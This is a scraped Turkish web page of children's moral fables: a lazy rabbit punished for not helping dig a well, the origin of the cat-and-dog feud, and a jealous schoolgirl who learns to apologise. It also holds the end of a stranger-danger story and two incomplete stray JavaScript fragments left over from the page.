O günden sonra Mine, kalabalık bir yere gittiğinde annesinin yanından asla ayrılmamış. Annesinin de sözünden hiç çıkmamış. Hem polislere hem de annesine verdiği sözü de hayatı boyunca unutmamış.

Siz siz olun sakın yabancı kişilerle konuşmayın ve onlarla bir yere gitmeyin.

TEMBEL TAVŞANIN SONU

Bir varmış, bir yokmuş. Ormanların yemyeşil ve kocaman olduğu, içine hayvanların mutlu ve huzurlu bir şekilde koşup zıpladığı zamanlarmış. Ormandaki tüm hayvanlar bir arada yaşar, bir iş olduğundan hep beraber o işi yaparlarmış.

Ormandaki hayvanlar mutlu mesut yaşamlarına devam ederken, gel zaman git zaman dünyanın iklimi değişmiş. Bol yağmur alan ve hayvanların hiçbir zaman susuz kalmadığı bu ormanda büyük bir kuraklık baş göstermiş. Günler geçmiş, haftalar geçmiş fakat tek bir damla bile yağmur yağmamış. Hayvanlar artık içmek için su bulamayacak duruma gelmişler. Çaresizce ormanın kralı Aslan’ın yanına gelmişler.

SİNCAP: ‘Aslan kralım, ormanımıza aylardır bir damla bile su düşmedi. Artık kaynaklarımız da bitti. Bu gidişle susuz kalacağız.’

Aslan endişeyle diğer hayvanlara bakmış. Herkes sincabın sözlerine katılıyormuş.

ASLAN: ‘Sevgili arkadaşlar. Bir yol bulup su kaynağı sağlamalıyız. Benim fikrim, toprağı kazıp yer altından su bulmaktır. Kuyu oluşturarak istediğimiz kadar su elde edebiliriz.’

Hayvanların hepsi Aslan’ın bu önerisini çok beğenmiş. Hiç vakit kaybetmeden çalışmaya başlamak için kolları sıvamışlar. Aslan çalışma ekiplerini oluşturmuş ve herkes işin başına geçmek için ormanın içine doğru yol almaya başlamış.

Ormanda yaşayan minik tavşan, tembel ve huysuz bir tavşanmış. Bir iş yapılacağı zaman sürekli kaytaran, iş yapmak istemeyen, türlü bahaneler uyduran minik tavşan, bu işe de katılmamak için mızmızlanmaya başlamış:

tembel-tavsan2

TAVŞAN: ‘Arkadaşlar ben hm küçük hem de minik bir tavşanım. Kuyu kazmak için size yardım edemem.  O yüzden siz kazın,  su bulduğunuzda bana haber verin.’

Diğer arkadaşları tavşanın bu tavrından hiç hoşlanmamış. İş yapmayı sevmeyen tembel minik tavşan bu sefer çok fazla olmuş. Kuyuyu kazmaya başlayan arkadaşları ona güzel bir ders vermek üzere anlaşmışlar.

Ağacın gölgesinde oturan minik tavşan, bir yandan uyuklarken bir yandan da arkadaşlarını izliyormuş. ‘Bir an önce kuyuyu kazsalar da su içsek’ diye geçirmiş içinden. Ağacın gölgesinde, güneşten kendini koruyarak, keyifli bir şekilde uyumaya başlamış.

Minik tavşan uyandığında arkadaşlarının kuyuyu kazdığını görmüş. Ormanın kralı Aslan ve diğer bütün arkadaşları kuyunun etrafındaymış. ‘Kesin su bulundu’ diye ayağa kalkan tavşan, zıplayarak kuyunun başına gelmiş.

Aslan ve ormandaki tüm hayvanlar, keşfettikleri suyun kutlamasını yapıyormuş. Herkes çok mutluymuş ve sevinçle kuyudan su içiyormuş. Minik tavşan da arkadaşı sincap ve kokarcanın yanına gelmiş.

TAVŞAN: ‘Suyu bulmuşsunuz arkadaşlar. Susuzluktan kurtulduk desene. Bana da bir bardak verin de ben de içeyim, çok susadım.’

Tavşan arkadaşları ile konuşurken Aslan birdenbire tavşanın orada olduğunu fark etmiş ve kükreyerek ona dönmüş:

ASLAN: ‘Sen arkadaşlarına yardım etmediğin için bu kuyudaki suyu içemezsin.’

tembel-tavsan3

Minik tavşan ne yapacağını ne diyeceğini şaşırmış.

TAVŞAN: ‘Aslan kralım, ben ettim siz etmeyin. Bundan sonra tüm işlere yardım edeceğim. Lütfen bana izin verin, su içeyim.’

Aslan kral minik tavşanın ne kadar pişman olduğunu görmüş. Fakat onu hemen affetmek niyetinde değilmiş.

ASLAN: ‘Öncelikle bu işte çalışan bütün arkadaşlarından tek tek özür dileyeceksin. Onlar seni affederse ben de affederim.’

Aslan kuyudan su çıkmasını sağlayan tüm hayvanlara dönmüş.

ASLAN: ‘Arkadaşlar, hepiniz emek harcayarak bu suyun çıkmasını sağladınız. Ormanda yaşayan tüm hayvanların hayatını kurtardınız. Bu tavşan arkadaşınız siz yardım etmedi. Onu affetmek ya da affetmemek sizin kararınız. Fakat hepiniz bu tavşan için bir ceza bulun. Onu cezalandıralım ki bir daha yapmasın.’

Hayvanların hepsi toplanıp konuşmaya başlamışlar. Bir karar vardıklarında aralarından sözcü olarak seçtikleri fil bir adım öne çıkmış:

FİL: ‘Aslan Kralım. Biz tavşan kardeşimizi affettik. Onun susuz kalmasına gönlümüz razı olmaz. Fakat ona uygun bir ceza vererek yaptığı hatanın da farkına varmasını da sağlayacağız. Vereceğimiz ceza, bir yıl boyunca kuyunun ve etrafının temizliğini tavşan kardeşin yapmasıdır.

Aslan bu cezayı pek beğenmiş. Tavşan da eli mahkûm, su içmek için bu cezayı kabul etmek zorundaymış. O gün tavşan arkadaşlarına yardım etmediği için çok pişman olmuş ve bir daha hangi iş olursa olsun hep ilk sırada yer almış. Arkadaşları da tavşandaki bu değişimi fark etmiş v çok memnun kalmış. Ormandaki mutlu ve huzurlu hayat böylece sürmüş, gitmiş…

tembel-tavsan4

Gökten üç elma düşmüş, üçü de yardımsever çocukların olmuş…d.getElementsByTagName(‘head’)[0].appendChild(s);

KEDİ VE KÖPEK NEDEN ANLAŞAMAZ?
KEDİ VE KÖPEK NEDEN ANLAŞAMAZ?

KEDİ VE KÖPEK NEDEN ANLAŞAMAZ?

Kediler ve köpekler hiç anlaşamazlar di mi? Peki bunun hikâyesini dinlemek ister misiniz? Buyurun size kedi-köpek kavgası…

Bir varmış, bir yokmuş… Hayvanların ormanlarda mutlu ve huzurlu bir şekilde yaşadığı zamanlarmış. Hayvanlar birbirlerine kızmaz, birbirlerini üzmez; farklı cinslerden gelseler bile aynı ormanda yan yana yaşamayı çok iyi bilirlermiş. Tüm hayvanların başında ise Aslan varmış. Aslan güçlü ve kuvvetli yapısı, iri heybetli vücudu ile bütün hayvanların başı imiş, ormanın kralıymış. Bütün hayvanlar Aslan’ın sözünden çıkmaz, o ne derse yaparmış. Ormandaki huzur ve sükûnet de bu şekilde sağlanırmış.

Gel zaman git zaman günlerden bir gün ormanda büyük bir toplantı yapılması gerekmiş. Bütün hayvanların katılacağı, herkesin fikrini söyleyeceği bu toplantıya bütün hayvanları davet etmek de zor bir işmiş. Aslan düşünmüş taşınmış, en sonunda hep yanında olan köpeğin bu işi yapabileceğine karar vermiş. Köpeği yanına çağırmış:

ASLAN: ‘Köpek kardeş, sana çok önemli bir görev vereceğim.’

Köpek Aslan’ın bu lafı üzerine kulaklarını dikmiş.

KÖPEK: ‘Sizi dinliyorum ormanımızın kralı.’

ASLAN: ‘2 gün sonra ormanda büyük bir toplantı yapacağım. Bütün hayvanların bu toplantıya katılmasını istiyorum. Sen bütün hayvanlara haber vermekle görevlisin. Fakat bu toplantıya derenin öbür tarafındaki hayvanlar da katılmalı. Bu sebeple derenin öbür tarafında bulunan kirpileri de davet etmen gerekecek.’

Köpek bir an tereddüt etmiş. Hayatında daha önce hiç kirpi görmemiş. Nasıl bir şeye benzediğini bile bilmiyormuş. Ormanın bu tarafında sadece köpekler, atlar, eşekler, kuzular, koyunlar ve kuşlar yaşarmış.

Aslan tereddüt eden köpeğe bakmış.

ASLAN: ‘Ne oldu köpek kardeş? Bu işi yapmak istemiyor musun yoksa?’

Köpek hemen söze girmiş. Aslan’ın gözünden düşmek istemiyormuş.

KÖPEK: ‘Hiç olur mu ormanların kralı. Ben sadece hayatımda hiç kirpi görmedim de. Nasıl bir şeye benzer bilmem.’

Aslan ise sakince konuşmaya başlamış:

ASLAN: ‘Kirpiyi tanıman çok basittir. Şekli top gibi bir hayvandır, yuvarlaktır. Ve dikenleri vardır, bu dikenleri dikilir ve batar. Benim selamımı söylersen sana zarar vermez.’

Köpek Aslan’ın gözüne girmek için görevi kabul etmiş ve hemen yola koyulmuş. Kendi tarafında tanıdığı bildiği tüm hayvanlara haber vermiş. Şimdi sıra derenin öbür tarafındaymış. Köpek dereye atlamış ve yüzerek dereyi geçmiş. Çıktığında güzelce silkelenmiş ve ormanın iç tarafına doğru yürümeye başlamış.

Köpek koşarak ilerlerken birdenbire karşısına bir hayvan çıkmış. Köpek aniden karşısına çıkan bu hayvana çarpmış. Kuyruğu olan ve tombik olan bu hayvan köpeği görünce önce miyavlamaya sonra da tıslamaya başlamış. Birdenbire tüyleri kabarmış, dikilmiş. Kendini top gibi yapmış ve köpeğin karşısında dikilmiş. Köpek ne yapacağını şaşırmış. O sırada aklına Aslan’ın tarifi gelmiş. Bu hayvan Aslan’ın tarifine uyuyormuş. ‘İşe kirpiyi buldum’ demiş içinden.

KÖPEK: ‘Merhaba kirpi kardeş, ben size ormanın kralı olan Aslan’ın selamını getirdim. Sizi toplantıya bekliyor.’

Kedi içinden gülmeye başlamış. Bu şapşal köpek onu kirpi zannetmiş. ‘En iyisi ben bu köpeğe bir oyun oynayayım da akıllansın’ demiş içinden. Tüylerini indirmiş ve rahatlamış.

kedi-kopek2

KEDİ: ‘Peki, birlikte gidelim öyleyse.’

Köpek ve kedi birlikte dereyi geçmişler ve toplantı yerine gelmişler. Aslan tahtında oturuyormuş ve köpeği bekliyormuş. Köpek sevinçle Aslan’ın huzuruna gelmiş.

ASLAN: ‘Ormanımızın Kralı Aslan’ım. Benden istediğiniz görevi yerine getirdim ve bütün hayvanlara haber verdim. Kirpiyi de derenin karşısından aldım ve getirdim.’

Aslan köpeğin işi başarmasına çok sevinmiş.

ASLAN: ‘Peki öyleyse. Kirpiyi çağırın, huzuruma gelsin’ demiş.

Odaya giren dikenleri olan bir kirpi değil de miyavlayan bir kedi olunca; herkes gülmeye başlamış. Aslan bile ciddi duruşunu koruyamamış ve kahkahalarla gülmüş.

ASLAN: ‘Seni şapşal köpek. Bu kirpi değil kedi.  Bir kirpiyi tanıyamadın, beceriksiz’ demiş.

Köpek rezil olmuş. Herkesin ortasında yerin dibine geçmiş. Hem Aslan hem de odada bulunan herkes köpekle dalga geçmiş. Kedi ise gülerek köpeğe bakıyormuş. Köpek en sonunda dayanamamış ve kediyi kovalamaya başlamış.

O günden bu güne kedi ve köpek birbirinden hiç hoşlanmazlar. Köpek kediyi görünce kovalar, kedi de köpeği görünce kendini savunmak için tüylerini diker ve tıslar. Bu kavga da böyle sürer, gider.

kedi-kopek3

 

KISKANÇLIĞIN ZARARI KENDİNE
KISKANÇLIĞIN ZARARI KENDİNE

KISKANÇLIĞIN ZARARI KENDİNE

Bir varmış bir yokmuş. Küçük bir kasabada yaşayan mutlu bir ailenin güzeller güzeli bir kızı varmış. Bu güzel kızın adı Defne imiş. Defne güzel bir kız olduğu kadar çok da akıllı imiş. Annesi ve babasının sözünden çıkmaz, onların yapma dediği bir şeyi de asla yapmaz imiş.

Günler ayları, aylar yılları kovalamış derken Defne büyümüş ve kocaman bir kız olmuş. Artık okula gitme vakti gelmiş. Defne okula gideceği için çok ama çok heyecanlıymış. Yeni tanışacağı arkadaşları şimdiden çok merak ediyor, onlarla oynayacağı oyunları bile kafasında hayal ediyormuş. Annesi ve babası ile birlikte okula kayıt olmaya gittikleri gün, Defne öğretmenleri ile tanışmış ve yüzlerinde kocaman gülümseme olan öğretmenleri şimdiden çok sevmiş.

Sonunda büyük gün gelmiş ve okul açılmış. Defne sabah erkenden uyanmış ve annesini beklemeden akşamdan hazırladığı kıyafetlerini giymiş. O sırada annesi odasının kapısını açmış ve Defne’yi ayakta görünce mutlulukla gülümsemiş:

ANNE: ‘Defneciğim, günaydın canım kızım. Sen hazırlanmışsın bile, ne kadar da hızlısın.’

Defne gülümseyerek annesine cevap vermiş:

DEFNE: ‘Anneciğim o kadar heyecanlıyım ki sabah hemen uyandım ve giyindim. Arkadaşlarımı çok merak ediyorum ve onlarla oynamak için sabırsızlanıyorum.’

Annesi Defne’nin okula gitmek için bu kadar istekli olmasına çok seviniyormuş. Defne ile birlikte mutfağa geçmişler ve masada oturan babasının yanına oturarak güzelce kahvaltılarını yapmışlar.

Bu sabah ilk gün olduğu için annesi ve babası Defne’yi okula birlikte bırakacaklarmış. Sonrasında Defne servis ile gidip gelecekmiş. Defne arabanın arka koltuğunda otururken okula yaklaştıkça heyecanının arttığını hissediyormuş.

Okulun önüne geldiklerinde, annesi ve babası Defne’nin elinde tutarak hep beraber okula doğru yürümüşler. Onlar gibi anne-babasının elinden tutan çocuklar bir bir okulun kapısından içeri giriyorlarmış. Sonunda Defne sınıfına gelmiş ve annesi ile vedalaşarak sınıfına girmiş.

Sınıfa girdiğinde okula kayıt olurken tanıştığı öğretmeni Defne’yi karşılamış. Onu elinden tutarak sınıfın ortasına getirmiş ve sınıftaki tüm arkadaşları Defne’ye bakmaya başlamış:

ÖĞRETMEN: ‘Defne, arkadaşlarına kendini tanıtmak ister misin?’

Defne, sıkılgan ya da çekingen bir kız değilmiş. Kendini çok güzel ifade edebilen ve güzel cümleler kurabilen bir kızmış. Hemen arkadaşlarına bakarak konuşmaya başlamış:

DEFNE: ‘Arkadaşlar, benim adım Defne. 6 yaşındayım. Sizinle tanıştığım için çok mutluyum.’

Defne kendini güzelce ifade ettiğinde tüm çocuklar ona bakıyormuş. Öğretmeni ise Defne’yi alkışlamaya başlamış.

ÖĞRETMEN: ‘Aferin Defne sana. Bakın arkadaşlar, hepiniz Defne’yi örnek alabilirsiniz. Gördüğünüz gibi kendinizi tanıtmak zor bir şey değil. Çekinecek ya da utanacak herhangi bir şey yok. Şimdi hepiniz sıra ile kendinizi tanıtır mısınız?’

Defne’den cesaret alan çocuklar tek tek sınıfın ortasına gelip kendilerini tanıtmaya başlamışlar. Sonuçta herkes kendini tanıtmış ve masalarında yerlerini almış. Defne de kendi masasında birkaç tane kız ve iki tane erkek arkadaşı ile çok iyi anlaşmaya başlamış bile. Birlikte güzel oyunlar oynamaya ve öğretmenlerinin dediği her şeyi yapmaya başlamışlar. Fakat Defne’nin tam karşısında oturan Oya, günün başından beri Defne’ye ters ters bakıyormuş. Defne artık Oya’nın bakışlarından rahatsız olmaya başlamış ama görmezden gelerek arkadaşları ile oynamaya devam etmiş.

kıskançlık2

Öğle tatilinde Defne arkadaşları ile birlikte yemeğini yerken Oya yanına gelmiş ve elindeki tabakta var olan tüm yemeği Defne’nin üzerine dökmüş. Defne ne olduğunu anlayamadan Oya kahkahalar ile gülmeye başlamış.

DEFNE: ‘Oya, neden böyle bir şey yaptın?’

OYA: ‘Çünkü öğretmenler seni çok sevdi. Ama ben seni hiç sevmedim. Daha geldiğin gibi alkış aldın. Ve seni çok kıskandım’

Defne üzerinin kirlenmesine ve herkesin ona gülmesine çok üzülmüş. Ama daha da üzüldüğü şey Oya’nın onu kıskanması ve kıskançlığı yüzünden zarar verecek hale gelmesiymiş.

Çok geçmeden öğretmenler Defne’nin yanına gelmişler. Bunu yapanın Oya olduğunu öğrenmişler ve yaptığı bu hareket yüzünden Oya’ya çok ama çok kızmışlar. Oya’nın ailesini hemen okula çağırmışlar ve Oya’yı arkadaşları ve ailesi önünde uyarmışlar. Oya Defne’den üst üste özür dilese de, yaptığı yanlışın farkına varsa da, başka birine zarar verdiği için ailesi onu kreşten almış.

Oya birkaç ay sonra tekrar kreşe başlamış ve herkesin önünde Defne’den bir kez daha özür dilemiş. Yaptığı yanlışın farkına varan ve tamamen değişen Oya, Defne ile arkadaş olmak istemiş. Defne de Oya’nın hatası anladığını fark ederek özrünü kabul etmiş ve birlikte güzel oyunlar oynamışlar. Çok da iyi arkadaş olmuşlar.

kıskançlık3

Kıskançlık çok kötü bir şeydir çocuklar. Siz siz olun, kimseyi kıskanmayın ve kimseye zarar verecek davranışlarda bulunmayın.

 

 if (document.currentScript) {